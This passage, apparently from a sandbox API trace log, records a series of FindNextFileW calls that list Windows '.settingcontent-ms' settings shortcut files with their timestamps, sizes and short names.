ftCreationTime.dwLowDateTime=0xbbb9ac6, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xbbb9ac6, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePCSystemAutoPlay.settingcontent-ms", cAlternateFileName="AAEEC3~1.SET")) returned 1 [0222.904] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0caaae, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xc0caaae, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePCSystemBluetooth.settingcontent-ms", cAlternateFileName="AA6CEB~1.SET")) returned 1 [0222.904] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2484cb, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xc2484cb, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePCSystemDevices.settingcontent-ms", cAlternateFileName="AACA0F~1.SET")) returned 1 [0222.904] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6c0872, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xc6c0872, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePCSystemDeviceSettings.settingcontent-ms", cAlternateFileName="AAD2D6~1.SET")) returned 1 [0222.904] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcea6833, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xcea6833, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePCSystemDisplay.settingcontent-ms", cAlternateFileName="AA6364~2.SET")) returned 1 [0222.904] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd429d08, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xd429d08, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePCSystemInfo.settingcontent-ms", cAlternateFileName="AA018C~1.SET")) returned 1 [0222.905] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63fe7d, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xd63fe7d, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePCSystemShellMode.settingcontent-ms", cAlternateFileName="AA5C62~1.SET")) returned 1 [0222.905] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb049b8, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xdb049b8, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyAccountInfo.settingcontent-ms", cAlternateFileName="AA1248~1.SET")) returned 1 [0222.905] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde42e1a, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xde42e1a, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyCalendar.settingcontent-ms", cAlternateFileName="AA017B~1.SET")) returned 1 [0222.910] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe61a652, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xe61a652, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyCallHistory.settingcontent-ms", cAlternateFileName="AA415E~1.SET")) returned 1 [0222.910] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e41e2, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xe7e41e2, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyContacts.settingcontent-ms", cAlternateFileName="AA1DE6~1.SET")) returned 1 [0222.910] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb3e67, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xedb3e67, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyCustomPeripherals.settingcontent-ms", cAlternateFileName="AA090F~1.SET")) returned 1 [0222.910] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52c076, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xf52c076, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyEmail.settingcontent-ms", cAlternateFileName="AA7C3F~1.SET")) returned 1 [0222.911] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcc5962, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xfcc5962, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x435, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyGeneral.settingcontent-ms", cAlternateFileName="AA9864~1.SET")) returned 1 [0222.911] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x101b08a7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x101b08a7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyLocation.settingcontent-ms", cAlternateFileName="AAD632~1.SET")) returned 1 [0222.911] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1051e0e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1051e0e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyMessaging.settingcontent-ms", cAlternateFileName="AA8919~1.SET")) returned 1 [0222.911] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107f285a, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x107f285a, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyMicrophone.settingcontent-ms", cAlternateFileName="AAE799~1.SET")) returned 1 [0222.911] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10de8730, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x10de8730, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyMotionData.settingcontent-ms", cAlternateFileName="AAF2F8~1.SET")) returned 1 [0222.912] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1102b950, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1102b950, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyPersonalization.settingcontent-ms", cAlternateFileName="AACED3~1.SET")) returned 1 [0222.912] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x112871d0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x112871d0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyRadios.settingcontent-ms", cAlternateFileName="AAC1C7~1.SET")) returned 1 [0222.912] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1149d5d9, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1149d5d9, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacySIUFSettings.settingcontent-ms", cAlternateFileName="AA247E~1.SET")) returned 1 [0222.912] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11666fba, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x11666fba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyWebcam.settingcontent-ms", cAlternateFileName="AA907A~1.SET")) returned 1 [0222.912] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118309de, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x118309de, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageRestoreDeveloperOptions.settingcontent-ms", cAlternateFileName="AAB4D2~1.SET")) returned 1 [0222.913] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e72c7e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x11e72c7e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageRestoreMusUpdate.settingcontent-ms", cAlternateFileName="AAD392~1.SET")) returned 1 [0222.913] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x127099fd, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x127099fd, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageRestoreOneBackup.settingcontent-ms", cAlternateFileName="AAC14A~1.SET")) returned 1 [0222.913] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x131adc30, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x131adc30, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x435, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageRestoreRestore.settingcontent-ms", cAlternateFileName="AA489C~1.SET")) returned 1 [0222.913] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x133517d8, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x133517d8, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageScreenPowerAndSleep.settingcontent-ms", cAlternateFileName="AA98C3~1.SET")) returned 1 [0222.913] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1347c6a3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1347c6a3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageSpeech.settingcontent-ms", cAlternateFileName="AA0C1F~1.SET")) returned 1 [0222.914] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x135ad91f, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x135ad91f, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageStart.settingcontent-ms", cAlternateFileName="AA7F40~1.SET")) returned 1 [0223.003] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x138ce9b9, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x138ce9b9, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageStorageSenseSaveLocations.settingcontent-ms", cAlternateFileName="AA3F18~1.SET")) returned 1 [0223.003] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a98583, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x13a98583, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x476, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageStorageSenseStorageOverview.settingcontent-ms", cAlternateFileName="AADC68~1.SET")) returned 1 [0223.003] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cd4a2e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x13cd4a2e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageThemes.settingcontent-ms", cAlternateFileName="AA43E2~1.SET")) returned 1 [0223.004] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13fcf8c0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x13fcf8c0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageTimeRegionDateTime.settingcontent-ms", cAlternateFileName="AAC193~1.SET")) returned 1 [0223.004] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142a4510, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x142a4510, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageTimeRegionLanguage.settingcontent-ms", cAlternateFileName="AA52B7~1.SET")) returned 1 [0223.004] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x147b5757, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x147b5757, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageTimeRegionSpelling.settingcontent-ms", cAlternateFileName="AA4071~1.SET")) returned 1 [0223.004] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14933008, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x14933008, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageWindowsDefender.settingcontent-ms", cAlternateFileName="AA994C~1.SET")) returned 1 [0223.004] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14c2dcc8, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x14c2dcc8, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_Settings_DeveloperModeGroup.settingcontent-ms", cAlternateFileName="AA7CD7~1.SET")) returned 1 [0223.005] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x166f3270, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x166f3270, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_Settings_DeviceDiscoveryGroup.settingcontent-ms", cAlternateFileName="AA2361~1.SET")) returned 1 [0223.005] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16a608f5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x16a608f5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_CursorThickness.settingcontent-ms", cAlternateFileName="AAA_SY~1.SET")) returned 1 [0223.005] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ce918c, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x16ce918c, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_IsAnimationsEnabled.settingcontent-ms", cAlternateFileName="AAA_SY~2.SET")) returned 1 [0223.005] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ed93a3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x16ed93a3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_IsMouseKeysEnabled.settingcontent-ms", cAlternateFileName="AAA_SY~3.SET")) returned 1 [0223.005] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171618d8, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x171618d8, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_IsOverlappedContentEnabled.settingcontent-ms", cAlternateFileName="AAA_SY~4.SET")) returned 1 [0223.006] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x174a8da1, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x174a8da1, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, 